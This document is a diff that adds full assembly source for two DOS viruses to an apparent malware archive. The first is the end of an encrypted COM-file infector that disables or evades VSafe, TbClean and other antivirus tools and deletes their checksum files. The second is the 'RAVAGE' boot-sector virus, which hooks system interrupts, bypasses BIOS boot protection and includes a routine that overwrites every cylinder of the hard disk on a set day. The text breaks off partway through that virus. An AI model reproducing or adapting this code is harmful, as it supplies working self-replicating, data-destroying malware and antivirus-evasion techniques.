anti-viral progs. + CALL CHKTIME ;It's hard to believe but this code + JMP BEGIN ;stops tracing TBAV into the code! +;----------------------------------------------------------------------------- +CHKDOS: MOV AH,30h ;Get DOS version. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKTIME:MOV AH,2Ch ;Get system time. + INT 21h ;Call DOS. + CMP DL,0 ;If zero, + JE CHKTIME ;try again. + RET ;Return to caller. +;----------------------------------------------------------------------------- +VAL_1 DB 00h ;Encryption Value. +;----------------------------------------------------------------------------- +ENCRYP: CALL NEXTL ;-Get BP on address. +NEXTL: POP BP ;/ + SUB BP,04 ;[BX]=decryption key. + MOV DL,[BP] ;DL=[BX] + LEA BX,[BP+OFFSET CSTART-VAL_1];De/en-crypt from here. + CMP DL,0 ;Code Encrypted? + JE NTENC ;Nope +DECRYPT:MOV DH,DL ; + MOV CX,CRYPTLEN ;Set counter. +X_LOOP: XOR [BX],DL ;Xor the code on address BX. + SUB DL,DH ;-To change form of scrambled code. + SUB DH,02Eh ;/ + INC BX ;Increase address. + LOOP X_LOOP ;Repeat until done. +NTENC: RET ;Return to caller. +;----------------------------------------------------------------------------- +BEGIN: CALL ENCRYP ;Call decryption routine. +;----------------------------------------------------------------------------- +; From here the code will be encrypted. +;----------------------------------------------------------------------------- +CSTART: CALL BEGIN1 ;Same old trick. + CALL RESBEG ;Restore begin. + CALL CHKDRV ;Check drive & DOS version. + CALL SAVEDIR ;Save startup directory. + CALL INSTSR2 ;Place infection routine in memory. + PUSH ES ;In the next sessions ES is modified. + CALL INT24 ;NoErrorAllowed. + CALL VSAFE ;Vsafe resident? + POP ES ;Restore extra segment. + CALL ENKEY ;Create new CRYPTKEY. + CALL DTA ;Store old and give up new DTA addres. + CMP BYTE PTR[BP+OFFSET COMSIGN],01h;Am I command.com? + JE F_FIRST ;Yes, do not use the path. + CALL FIND1 ;Determine how many path's are present. + CALL RANDOM ;Random value for directory search. + CALL FIND2 ;Find suitable directory. + CALL CHDRIVE ;If it is on another drive. + CALL GODIR ;Go to the selected directory. +F_FIRST:MOV AH,4Eh ;Search for 1st *.COM + MOV CX,110b ;Look for read only, system & hidden. + LEA DX,[BP+OFFSET SPEC] ;Offset file specification.(*.COM) + INT 21h ;Call DOS. + JNC OPENF ;Exit if no file found. + CALL EXIT1 ;No files found, quit. +OPENF: CALL CHKCOM ;-Is it COMMAND.COM? + CMP CX,00h ;/ + JNE NOCOM ;Yes, set COMSIGN + MOV BYTE PTR[BP+OFFSET COMSIGN],01h; + JMP YESCOM ; +NOCOM: MOV BYTE PTR[BP+OFFSET COMSIGN],00h; +YESCOM: CALL CHKINF ;Already infected? + CALL ATTRIB ;Ask & clear file attributes. + CALL RENAME ;Rename to *.TXT file. + MOV AH,4Eh ;Search the name.TXT file. + MOV CX,110b ;Read only, system & hidden. + LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + INT 21h ;Call DOS. + MOV AX,3D02h ;Open file with read and write access. + LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + INT 21h ;Call DOS. + MOV BYTE PTR[BP+OFFSET HANDLE],AL;Save file handle. + CALL STIME ;Save file date & time. +CHECK: MOV AH,3Fh ;Read begin of victim. + MOV CX,3 ;Read Begin. + LEA DX,[BP+OFFSET ORIGNL] ;Into offset original instructions. + INT 21h ;Call DOS. + JC CLOSE ;On error, quit. +REPLACE:CALL BPOINT ;Move file pointer to end of victim. + SUB AX,3 ;Calculate new jump. + MOV WORD PTR[BP+NEWJMP+1],AX;Store new jump value. + MOV AX,4200h ;Move file pointer to begin. + XOR CX,CX ;Zero high nybble. + XOR DX,DX ;Zero low nybble. + INT 21h ;Call DOS. + MOV AH,40h ;Write to file, + MOV CX,3 ;3 Bytes. + LEA DX,[BP+OFFSET NEWJMP] ;Offset new jump value. + INT 21h ;Call DOS. + CALL BPOINT ;Move file pointer to end. + JMP INFEC ;Create encryption key. +LETSGO: MOV AH,4Fh ;Find next. + INT 21h ;Call DOS. + JC EXIT ;On error, quit. + JMP OPENF ;Open new victim. +INFEC: MOV DL,[BP+OFFSET VAL_1] ;Encryption value into DL. + INT 0D0h ;Neat way to infect a file! +CLOSE: CALL RTIME ;Restore File time & date. + MOV AH,3Eh ;Close file. + INT 21h ;Call DOS. + CALL RENAME2 ;Restore back to COM file. + CALL RATTRIB ;Restore File attributes. +;----------------------------------------------------------------------------- +EXIT: CALL DELSTUF ;Delete CRC checkers. +EXIT1: MOV AH,1Ah ;Restore old DTA. + MOV DX,[BP+OFFSET OLD_DTA] ;Old DTA address. + INT 21h ;Call DOS. +EXIT2: MOV AH,0Eh ;Restore startup drive. + MOV DL,BYTE PTR[BP+OFFSET OLDRV];Old drive code. + INT 21h ;Call DOS. + MOV AH,3Bh ;Goto startup directory, + LEA DX,[BP+OFFSET BUFFER] ;that is stored here. + INT 21h ;Call DOS. +EXIT3: CALL RINTD0 ;Restore original INT D0 + CALL RINT24 ;Restore original INT 24 +EXIT4: MOV AX,100h ;Return address. + PUSH AX ;Put it on stack. + RET ;Pass control to HOST. +;----------------------------------------------------------------------------- +DUMEX: MOV DI,0100h ;This is a dummy exit, it screws up + LEA SI,[BP+DEXIT] ;TbClean. In stead of cleaning the + MOV CX,3 ;phile, it puts a program terminating + REPNZ MOVSB ;interrupt in the beginning of the + MOV AX,0100h ;victim, neat huh! + PUSH AX ; + RET ; +;----------------------------------------------------------------------------- +BETWEEN:MOV AH,3Eh ;Close the file. + INT 21h ;Call DOS + JMP LETSGO ;Find next file. +CHKINF: MOV AX,3D00h ;Open file with only read acces. + MOV DX,WORD PTR[BP+OFFSET NP];Offset filename. + INT 21h ;Call DOS. + MOV BX,AX ;File handle into BX. + XOR CX,CX ;- + XOR DX,DX ;/ + MOV AX,4202h ;Move file pointer to end. + INT 21h ;Call DOS. + SUB AX,VIRLEN ; + MOV DX,AX ; + MOV AX,4200h ;Move file pointer to vircode. + INT 21h ;Call DOS. + MOV AH,3Fh ;Read file. + MOV CX,01h ;One Byte. + LEA DX,[BP+OFFSET MARK1] ;Into this address. + INT 21h ;Call DOS. + CMP BYTE PTR [BP+OFFSET MARK1],0E8h; Is it infected? + JE BETWEEN ;Yes, find another. + CALL BPOINT ;Go to EOF. + CMP AX,MAXLEN ;Is the file to long? + JNB BETWEEN ;Yes, find another. + CMP AX,MINLEN ;Is it to short? + JBE BETWEEN ;Yes, find another. + MOV AH,3Eh ;Close the file. + INT 21h ;Call DOS + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKDRV: CALL CHKDOS ;Check DOS version. + CMP AL,01 ; + JB DUMEX ;Screw up TbClean. + CMP AL,05h ;Is it DOS 5.0 or higher? + JNGE EXIT4 ;No, exit. + MOV AH,19h ;Get drive code. + INT 21h ;Call DOS. + MOV BYTE PTR[BP+OFFSET OLDRV],AL;Save old drive code. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RESBEG: LEA SI,[BP+OFFSET ORIGNL] ;Offset original begin. + MOV DI,0100h ;Restore original instructions. + MOV CX,3 ;Restore 3 bytes. + REPNZ MOVSB ;Move them. + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKCOM: MOV CX,05 ;CX=len COMMAND. + MOV DI,[BP+OFFSET NP] ;Offset found file. + LEA SI,[BP+OFFSET COMMND] ;Offset COMMAND. + REPZ CMPSB ;Compare the strings. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RENAME: MOV CX,0Ch ; This section renames the + MOV SI,WORD PTR[BP+OFFSET NP]; found and approved for + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; infection file to a + REPNZ MOVSB ; *.TXT file. The reason for + LEA BX,WORD PTR[BP+OFFSET NEWNAM-1];this is that VPROTECT from +LPOINT: INC BX ; Intel has a rule based NLM. + CMP BYTE PTR[BX],'.' ; If we write to a COM file + JNE LPOINT ; VPROTECT gives an alarm + MOV DI,BX ; message. However, if we + MOV WORD PTR[BP+OFFSET TXTPOI],BX; write to a text file.... + LEA SI,[BP+OFFSET TXT] ; Pretty solution isn't it? + MOVSW ; + MOVSW ; + MOV DX,WORD PTR[BP+OFFSET NP]; + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; + MOV AH,56h ;Rename file function. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RENAME2:LEA SI,[BP+OFFSET SPEC+1] ; In this section we + MOV DI,WORD PTR[BP+OFFSET TXTPOI]; give the infected file + MOVSW ; its old extention back. + MOVSW ; (*.COM) + MOV DX,WORD PTR[BP+OFFSET NP]; + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; + MOV AH,56h ;Rename file function. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +ENKEY: CALL CHKTIME ;Get time. + MOV BYTE PTR[BP+OFFSET VAL_1],DL;New encryption key. + RET ;Return to caller. +;----------------------------------------------------------------------------- +SAVEDIR:MOV BYTE PTR[BP+OFFSET BUFFER],5Ch; + MOV DL,BYTE PTR[BP+OFFSET OLDRV];Drive code. + INC DL ;DL=DL+1 as func 47 is different. + MOV AH,47h ;Get current directory. + LEA SI,[BP+OFFSET BUFFER+1] ;Store current directory. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +DTA: MOV AH,2Fh ;Get DTA address. + INT 21h ;Call DOS. + MOV WORD PTR[BP+OFFSET OLD_DTA],BX; Save here. + LEA DX,[BP+OFFSET NEW_DTA] ;Offset new DTA address. + MOV AH,1Ah ;Give up new DTA. + INT 21 ;Call DOS. + ADD DX,1Eh ;Filename pointer in DTA. + MOV WORD PTR[BP+OFFSET NP],DX;Put in name pointer. + RET ;Return to caller. +;----------------------------------------------------------------------------- +INT24: MOV AX,3524h ;Get int 24 handler. + INT 21h ;into [ES:BX]. + MOV WORD PTR[BP+OLDINT],BX ;Save it. + MOV WORD PTR[BP+OLDINT+2],ES; + MOV AH,25h ;Set new int 24 handler. + LEA DX,[BP+OFFSET NEWINT] ;DS:DX->new handler. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RINT24: PUSH DS ;Save data segment. + MOV AX,2524h ;Restore int 24 handler + LDS DX,[BP+OFFSET OLDINT] ;to original. + INT 21h ;Call DOS. + POP DS ;Restore data segment. + RET ;Return to caller. +;--------------------------------------------------------------------------- +RINTD0: PUSH DS ;Save data segment. + MOV AX,25D0h ;Restore int D0 handler + LDS DX,[BP+OFFSET INTD0] ;to original. + INT 21h ;Call DOS. + POP DS ;Restore data segment. + RET ;Return to caller. +;----------------------------------------------------------------------------- +VSAFE: MOV AX,3516h ;Get interrupt vector INT 16. + INT 21h ;(Now we know in wich segment it is.) + ADD BX,0364h ;Here we find a jump that we'll change. + CMP WORD PTR[ES:BX],0945h ;Is it THE jump? + JNE OK_9 ;No, already modified or not resident. + MOV WORD PTR[ES:BX],086Dh ;Yes, modify it. +OK_9: RET ;Return to caller. No Vsafe. +;----------------------------------------------------------------------------- +FIND1: MOV BYTE PTR[BP+OFFSET VAL_2],0FFh; This routine is derived from + MOV BX,01h ; the VIENNA virus. (Why invent the +FIND2: PUSH ES ; wheel twice?) + PUSH DS ;- Save registers. + MOV ES,DS:2CH ; + MOV DI,0 ;ES:DI points to environment. +FPATH: LEA SI,[BP+OFFSET PATH] ;Point to "PATH=" string in data area. + LODSB ; + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long. + REPNZ SCASB ;Search for first character. + MOV CX,4 ;Check if path +LOOP_2: LODSB ;is complete. + SCASB ; + JNZ FPATH ;If not all there, abort & start over. + LOOP LOOP_2 ;Loop to check the next character. + XCHG SI,DI ;Exchange registers. + MOV CL,BYTE PTR[BP+OFFSET VAL_2];Random value in CL. + PUSH ES ;\ + POP DS ;-) Get DS, ES on address. + POP ES ;/ +OK_14: LEA DI,[BP+OFFSET NEW_DTA+50];Offset address path. +OK_10: MOVSB ;Get name in path. + MOV AL,[SI] ; + CMP AL,0 ;Is it at the end? + JE OK_11 ;Yes, replicate. + CMP AL,3Bh ;Is it ';'? + JNE OK_10 ;Nope, next letter. + INC SI ;For next loop. ';'=';'+1. + INC BX ; + LOOP OK_14 ;Loop until random value = 0. +OK_11: POP DS ;Restore data segment. + MOV AL,0 ;Place space after the directory. + MOV [DI],AL ; + RET ;Return to caller. +;----------------------------------------------------------------------------- +DELSTUF:MOV BX,01h ;Set counter + PUSH BX ;and push it. + LEA DX,[BP+OFFSET MICRO] ;Is there a CHKLIST.MS file? + JMP INTER ;Check it out. +SECOND: LEA DX,[BP+OFFSET TBAV] ;Is there a ANTI-VIR.DAT file? + INC BX ;Increase counter + PUSH BX ;and push it. + JMP INTER ;Check it out. +THIRD: LEA DX,[BP+OFFSET CENTRAL] ;Is there a CHKLIST.CPS file? + INC BX ;Increase counter + PUSH BX ;and push it +INTER: MOV AH,4Eh ;Find first matching entry. + MOV CX,110b ;Search all attributes. + INT 21h ;Call DOS. + JC NODEL ;No match, find next. + CALL ATTRIB ;Clear attributes. + MOV AH,41h ;Delete file. + INT 21h ;Call DOS. +NODEL: POP BX ;Pop counter. + CMP BX,01 ;Had the first one? + JE SECOND ;Yes, do the second. + CMP BX,02 ;Was it the second? + JE THIRD ;Yes, do the third. + RET ;Finished, return to caller. +;----------------------------------------------------------------------------- +CHDRIVE:MOV CX,0FFFFh ;Clear CX. + MOV BL,'A'-1 ;AH=40 +OK_15: INC BL ;AH=41='A' + INC CX ;CX=1 + CMP BL,BYTE PTR[BP+OFFSET NEW_DTA+50];New drive letter. + JNE OK_15 ;Not the same, go again. + MOV DL,CL ;Calculated the new drive code. + MOV AH,0Eh ;Give up new drive code. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RTIME: MOV AX,5701h ;Restore time & date. + MOV CX,WORD PTR[BP+OFFSET TIME];Old time. + MOV DX,WORD PTR[BP+OFFSET DATE];Old date. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +STIME: MOV AX,5700h ;Get file date & time. + MOV BX,[BP+OFFSET HANDLE] ;File Handle. + INT 21h ;Call DOS. + MOV WORD PTR[BP+OFFSET TIME],CX;Store time. + MOV WORD PTR[BP+OFFSET DATE],DX;Store date. + RET ;Return to caller. +;----------------------------------------------------------------------------- +BPOINT: XOR DX,DX ;Zero register. + MOV AX,4202h ;Move file pointer to top. + XOR CX,CX ;Zero register. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +ATTRIB: MOV DX,WORD PTR[BP+OFFSET NP];Offset in DTA. + MOV AX,4300h ;Ask file attributes. + INT 21h ;Call DOS. + LEA BX,[BP+OFFSET ATTR] ;Save address for old attributes. + MOV [BX],CX ;Save it. + XOR CX,CX ;Clear file attributes. + MOV AX,4301h ;Write file attributes. + INT 21h ;Call DOS. + JNC OK ;No error, proceed. + CALL EXIT ;Oh Oh, error occured. Quit. +OK: RET ;Return to caller. +;----------------------------------------------------------------------------- +RATTRIB:LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + LEA BX,[BP+OFFSET ATTR] ;Offset address old attributes. + MOV CX,[BX] ;Into CX. + MOV AX,4301h ;Write old values back. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +GODIR: LEA DX,[BP+OFFSET NEW_DTA+52];Offset directory spec. + MOV AH,3Bh ;Goto the directory. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RANDOM: CALL CHKTIME ;Get system time. + MOV CX,0 ;Figure this out by yourself. + MOV AX,100d ;It is a random generator with +OK_19: INC CX ;two variable inputs. + SUB AX,BX ;A: How many dir's in the path. + CMP AX,01d ;B: Random system time. + JGE OK_19 ;With this values, we create a + XOR BX,BX ;random value between 1 and A. +OK_20: INC BX ; + SUB DL,CL ; + CMP DL,01d ; + JGE OK_20 ; + MOV BYTE PTR[BP+OFFSET VAL_2],BL;Save value. + RET ;Return to caller. +;----------------------------------------------------------------------------- +BEGIN1: PUSH SP ; + POP BX ;Everything is related to BP. + MOV BP,WORD PTR[BX] ; + SUB BP,0145h ;In first run BP=0 + RET ; +;----------------------------------------------------------------------------- +NEWINT: MOV AL,03h ;New INT 24. + IRET ;No more write protect errors! +;----------------------------------------------------------------------------- +INSTSR2:PUSH ES ;-Save registers. + PUSH DS ;/ + MOV AX,0DEDEh ;Resident check. + INT 21h ;Call DOS. + CMP AH,41h ;\ + JNE NOBRO ;-Little Brother virus in memory? + CALL EXIT4 ;If resisent, do nothing. +NOBRO: MOV AX,3D3Dh ;Resident check. + INT 21h ;Call DOS. + CMP AX,1111h ;\ + JNE NOGETP ;-Getpass! virus resident ?. + CALL EXIT4 ;If resident, quit. +NOGETP: MOV AX,35D0h ;Save old interrupt vector INT D0. + INT 21h ;Call DOS. + MOV WORD PTR[BP+OFFSET INTD0],BX + MOV WORD PTR[BP+OFFSET INTD0+2],ES + MOV AX,0044h ; + MOV ES,AX ; + MOV DI,0100h ; + LEA SI,[BP+OFFSET INFECT] ;Offset address infection routine. + MOV CX,TSR2LEN ;Length to install. + REP MOVSB ;Install it. + PUSH ES ; + POP DS ; + MOV AX,25D0h ;Give up new INT D0 vector. + MOV DX,0100h ; + INT 21h ;Call DOS. + POP DS ; + POP ES ; + RET ;Return to caller. +;----------------------------------------------------------------------------- +PATH DB 'PATH=' ;Used to find environment. +SPEC DB '*.COM',0 ;File search specification. +TXT DB '.TXT',0 ;Rename file specification. +OUTPUT DB 0 ;Output byte to printer. +TXTPOI DW 0 ;Pointer in specification. +MARK1 DB 0 ;Used for infection check. +VAL_2 DB 0 ;Random value for directory switching. +OLDRV DB 0 ;Old drive code. +BEGIN2 DW 0 ; +NWJMP1 DB 0EBh,0 ; +FLAGT DB 0 ; +COMMND DB 'COMM',0 ; +MICRO DB 'CHKLIST.MS',0 ;- Files to be deleted. +CENTRAL DB 'CHKLIST.CPS',0 ;/ +TBAV DB 'ANTI-VIR.DAT',0 ;/ +VIRNAME DB ' Wrong copied DNA = Evolution ' + DB ' I am Life.' + DB ' Greetings ,ThE wEiRd GeNiUs ' +OLD_DTA DW 0 ;Old DTA addres. +HANDLE DW 0 ;File handle. +COMSIGN DB 0 ;Command.com flag +TIME DB 2 DUP (?) ;File time. +DATE DB 2 DUP (?) ;File date. +ATTR DB 1 DUP (?),0 ;Attributes. +INTD0 DW 0,0 ; +NEWJMP DB 0E9h,0,0 ;Jump replacement. +ORIGNL DB 0CDh,020h,090h ;Original instrucitons. +DEXIT DB 0CDh,020h,090h ;Dummy exit instructions. +NEWNAM DB 0Dh DUP (?) ;New file name. +OLDINT DW 0 ;Old INT 24 vector. +NP DW ? ;New DTA address. +;----------------------------------------------------------------------------- +INFECT: PUSH BX ;Save file handle. + PUSH DX ;Save encryption key. + PUSH BX ;Save file handle. + CALL DNCRYPT ;Encrypt the virus code. + POP BX ;Restore file handle. + LEA DX,[BP+OFFSET VSTART] ;Begin here. + MOV CX,VIRLEN ;Write this many Bytes. + MOV AH,40h ;Write to file. + INT 21h ;Call DOS. + POP DX ;Restore encryption value. + CALL DNCRYPT ;Fix up the mess. + POP BX ;Restore file handle. +DUMMY: IRET ;Return to caller. +;----------------------------------------------------------------------------- +DNCRYPT:LEA BX,[BP+OFFSET CSTART] ;De/en-crypt from here. + MOV DH,DL ; + MOV CX,CRYPTLEN ;Set counter. +Y_LOOP: XOR [BX],DL ;Xor the code on address BX. + SUB DL,DH ;-To change form of scrambled code. + SUB DH,02Eh ;/ + INC BX ;Increase address. + LOOP Y_LOOP ;Repeat until done. +NOTENC: RET ;Return to caller. +;----------------------------------------------------------------------------- +BUFFER: DB 64 DUP (?) ;Here we store directory info. +;----------------------------------------------------------------------------- +NEW_DTA: ;Here we put the DTA copy. +;----------------------------------------------------------------------------- +CODE ENDS +END START +;============================================================================= diff --git a/MSDOS/Virus.MSDOS.Unknown.dodgy.asm b/MSDOS/Virus.MSDOS.Unknown.dodgy.asm new file mode 100644 index 00000000..d927b852 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dodgy.asm @@ -0,0 +1,572 @@ +; RAVAGE BSV Written by RP & muRPhy October 1996 +; version 9.0 [ New Generation ] -- WIN95 compatible :-) +; +;Replicator module (c) 1994-96 RP, Bucharest +;Tips & tricks (c) 1995-96 muRPhy, Bucharest +;Final version full options Warning!!! Distructive sequence included! + +;This source code is for educational purposes only. The author is not +;responsible for any problems caused due to the assembly of this file" + + +.286 +code segment +assume cs:code +org 100h +start: +q db 7b00h dup(90h) +timer equ 08h + + jmp begin +bootrecord db 32 dup(0) ;min=32 + + +;............. Entry point .............................. +begin: + push cs + + mov di,414h; steal 1k of RAM + pop ds + mov byte ptr ds:[04a1h],0eah ;pun cod de jmp xxxx:xxxx pt INT 40H + dec di ;added code for jmp xxxx:xxxx for INT 40H + dec ds:word ptr[di] + mov ax,ds:word ptr[di] + shl ax,6 ;only >80186 + sub ax,07c0h + push ax + push ax +;....................................................... + mov ax,0201h; read the other sector of the virus + push cs + pop es + mov bx,7e00h + mov cx,000fh +cxpar equ this word + mov dx,0080h +dxpar equ this word + int 13h + + mov word ptr ds:[offset temp-2],609Ch ;refac cod de pushf pusha + ;restoring code for pushf pusha +; mov bx,0100h ;get original INT 40H + mov bh,01 ;bl already 00 from bx=7e00 + les ax,[bx] + mov ds:[int40seg],es ;store original INT 40H + mov ds:[int40ofs],ax + +;....................................................... + pop ax + mov bx,04a2h ;prepare code at 0:4a1h for jmp xxxx:xxxx + mov [bx],offset int40 + mov word ptr [bx+02],ax + + mov bx,004ch; get & corrupt int 13h + xchg ds:[bx+2],ax + mov ds:[int13seg],ax + mov ax,offset int13 + xchg ds:[bx],ax + mov ds:[int13ofs],ax +;....................................................... + pop es + mov si,7c00h; transfer virus code + mov di,si + cld + xor cx,cx + mov ch,02 ;anti TBAV flag O + rep movsw + + cli + mov ax,es ;get & corrupt INT 08H +; mov bx,timer*4 + mov bl,timer*4 ;bh already 00 from bx=004ch + xchg ds:[bx+2],ax + mov es:[int08seg],ax + mov ax,offset int08 + xchg ds:[bx],ax + mov es:[int08ofs],ax + + mov ax,0201h ; fast boot infector sequence + mov dx,0080h + inc cx + int 13h + + call testziuaz ; is it trash day ? + cmp dx,0303h +ziuaz equ this word + jnz boot + + jmp entry +boot: + int 19h +;------------------- int 40h + +jmpint40: + db 0eah +int40ofs dw 0 +int40seg dw 0 + +;----------------- Corrupted entry in INT 40H +int40: + cmp ah,02h + jnz jmpint40 + cmp cx,0001 + jnz jmpint40 + or dh,dh + jnz jmpint40 + call disketa + jmp short verificare + + +;................. jmp int 13 ............................ +jmpint13: + db 0eah; jmp xxxx:xxxx +int13ofs dw 0 +int13seg dw 0 +;........................................................... +cmp03: + cmp ah,03 + jne jmpint13 + cmp dl,80h + jb jmpint13 + jmp short contcmp + + +;........................................................... + +int13: ; FAR PROCEDURE FOR HANDLING INTERRUPT 13H + cmp ah,02h + jnz cmp03 +;--- + cmp dl,80h ;pe HDD + jb contcmp + or dh,dh ;head 0? + jnz contcmp + cmp cx,000eh ;se redirecteaza 14 si 15 pe 13 presupus cu zerouri + jz fak ;sau cu orice altceva + cmp cx,000fh ;show instead of sectors 14 and 15 , sector 13 + jnz contcmp ;sector 13 supposed zeroed or whatever + ;not quite good implemented but works anyway +fak: + mov cl,0dh + jmp jmpint13 +;--- +contcmp: + cmp cx,0001 + jnz jmpint13 + or dh,dh; <=> cmp dh,00 + jnz jmpint13 + + cmp dl,80h + jae hard + call disketa + jmp short verificare +hard: + call callint13; it was requested a read action for the boot +verificare: + jc giveup + cmp es:word ptr[bx+1bch],0202h; is it infected? + jz showboot + call compute + mov ax,0301h; write real boot on computed sector + call callint13 + jnc continue +clearerr: + clc +giveup: + retf 0002 +showboot: + call compute + mov ax,0201h + call callint13 + jmp short giveup +;------------------------- +continue: + push es + push bx + push cs + pop es + mov ax,0301h; write the other sector of the virus + inc cx + mov cs:[offset cxpar-2],cx + mov cs:[offset dxpar-2],dx + mov bx,7e00h + call callint13 + pop bx + pop es + jc clearerr + + push es + push bx + push ds + push si + push di + + push es + pop ds + push cs + pop es + + mov si,bx + add si,1beh; copy the partition into the virus code + mov di,7dbeh + mov cl,21h + cld + rep movsw + mov si,bx; copy the boot record into the virus code + add si,3 + mov di,7c03h + mov cl,16 + rep movsw + + + cmp dl,80h + jb normal + +;----- + pusha + + mov ah,05; bypass BIOS protection;place Y into keyboard buffer. + mov cl,59h + int 16h + call resetcmosflag + inc cs:word ptr [counter] + call testziuaz + mov al,dh + cmp al,09h + ja maimare ;"maimare " means "greater than" + add al,12h ;in Romanian language, of course... + daa +maimare: + sub al,09h + das + mov dh,al + mov cs:word ptr [offset ziuaz-2],dx + + popa +;----- + +normal: + inc cx ;salvez cx=0000 cu pusha dupa rep movsw =>cx=0001 + ;cx=0000 saved by pusha after rep movsw =>cx=0001 +iar: + mov ax,0301h; write the virus onto the disk + mov bx,7c00h + xor dh,dh + call callint13 + jc iar + call resetkeyboard +afar: + pop di + pop si + pop ds + pop bx + pop es + jmp giveup + +disketa: + pushf + call cs:dword ptr [int40ofs] + ret + + + +counter dw 0 +virsign dw 0202h +partition1 db 80h,01h,01,00,06,0eh,201,231,11h,0,0,0,07,228,03,00 + ;take care (this is my partition) + ;you'll have to change this with yours +db 30h dup (0) +db 55h,0aah + +;............ Second sector .............................. + +int2f: ;FAR PROCEDURE FOR HANDLING INTERRUPT 2FH + pushf + pusha + push ds + push es + + xor bx,bx + mov ds,bx + mov bx,07b4h + cmp ax,1605h ;is it Init Windows ? + jne cont2f + mov ax,cs:[int13ofs] ;restore original handler of INT 13H + mov ds:[bx],ax + mov ds:[bx+0806h-07b4h],ax + mov ax,cs:[int13seg] + mov ds:[bx+2],ax + mov ds:[bx+2+0806h-07b4h],ax + + mov ah,62h ;Get Active PSP segment + int 21h + mov ds,bx + mov ax,ds:[002ch] ;Get environment segment + mov es,ax + xor di,di + cld + mov cx,0050h + mov al,'o' + repnz scasb + cmp es:[di],'to' ; winbootdir? + jnz jmpint2f + + add di,+06 + push es + pop ds + mov dl,ds:[di] + sub dl,'C'-2 + mov ah,0eh + int 21h + + push di + pop dx + mov ah,3bh ;Change Directory to folder of WIN95 + int 21h ; + ; apelul windows de genul: + ; win setup.exe nu se va realiza cum trebuie + ; + ;I guess if someone'll run something like + ;win setup.exe worse things'll happen + ;doesn't matter anyway (few of them will + ;run win in this way) + push cs + pop ds + mov ah,41h ; Unlink ds:dx + mov dx,offset floppydriver + int 21h ;ideal ar fi sa nu dea eroare AX=1606h + ;here I suppose AX will differ from 1606h + ;more than that...I'm sure AX <> 1606h +cont2f: + cmp ax,1606h ;is it Exit Windows? + jne jmpint2f + mov ax,offset int13 ;corrupt again handler of INT 13H + mov ds:[bx],ax + mov ds:[bx+0806h-07b4h],ax + mov ds:[bx+2],cs + mov ds:[bx+2+0806h-07b4h],cs + + cmp byte ptr ds:[04a6h],0DAH ;is flag set ? + jz entry + +jmpint2f: + pop es + pop ds + popa + popf + db 0eah; jmp xxxx:xxxx +int2fofs dw 0 +int2fseg dw 0 +;---------------------------------- +entry: + push cs + pop ds + mov si,offset txt-1 +video: + mov ax,0010h + int 10h + mov ah,0eh + mov bl,0ah +repeta: + std + lodsb + cmp al,'$' + jz distroi + int 10h + jmp short repeta +distroi: + mov cx,0001h +destroyagain: + mov ax,030eh + mov dx,0180h + call callint13 + call resetcmosflag + in al,21h ;disable keyboard + or al,02 + out 21h,al + + inc ch + jnz destroyagain ; + add cl,40h ;for all existing cylinders > 256 + jmp short destroyagain + + +;..........................INT 21H +int21: + pushf + pusha + push ds + push es + mov di,dx + xor ah,4bh + jnz oldint21 + push ds + pop es + xor al,al + cld + mov cl,0ffh + repnz scasb + std + mov al,'\' + repnz scasb + mov ax,ds:[di+02] + and ax,0dfdfh + cmp ax,'AR' + jnz oldint21 + mov ah,ds:[di+04] + and ah,0dfh + cmp ah,'V' + jnz oldint21 + mov al,01 + out 70h,al + in al,71h + cmp al,126 ;max value for counter + jne ravnormal + + mov ax,1600h ;checking Win active + int 2fh + or al,al + jz entry ;al=0 means Win not active + xor ax,ax + mov ds,ax + mov byte ptr ds:[04a6h],0DAh ;set flag on low memory + jmp short oldint21 + + + +;------------------------ +ravnormal: + inc ax + push ax + mov al,01 + out 70h,al + pop ax + out 71h,al +oldint21: + pop es + pop ds + popa + popf +db 0eah; JMP xxxx:xxxx +int21ofs dw 0 +int21seg dw 0 +;............... INT 08H ....................................... +int08: + pushf + pusha +temp equ this word + push es + push ds + xor di,di ;DI=0000h + mov ds,di ;DS=0000h + mov ax,0b8ah + mov es,ax + cld + mov ax,'EP' + mov cx,0ffffh ;"cautare" means "searching" + ;for those of you who don't speak + ; Romanian language ;-) +cautare: + repnz scasw + or cx,cx + jz notyet + cmp es:[di],'=C' + jnz cautare + + push cs + pop ax ; ax =residseg + mov di,02fh*4 ;Save segment INT 2Fh + xchg [di+02],ax ;Corrupt segment 2FH + mov cs:[int2fseg],ax + + mov ax,offset int2f ;Save & corrupt offset INT 2FH + xchg [di],ax + mov cs:[int2fofs],ax + + push cs + pop ax + mov di,021h*4 ;Save segment INT 21h + xchg [di+02],ax ;Corrupt segment 21H + mov cs:[int21seg],ax + + mov ax,offset int21 ;Save & corrupt offset INT 21H + xchg [di],ax + mov cs:[int21ofs],ax + + + ;Command.com alocat + inc word ptr ds:[0413h] ;refac la 0:413h + ;restoring 0:413h + mov bx,0100h + mov word ptr ds:[bx],04a1h ;corrupt INT 40 to point 0:04a1h + mov word ptr ds:[bx+02],0 ;to a jmp far code + + + + mov word ptr cs:[offset temp-2],[(offset peste)-(offset temp)] shl 8+ 0ebh + ; dezactiveaza rutina de pe system 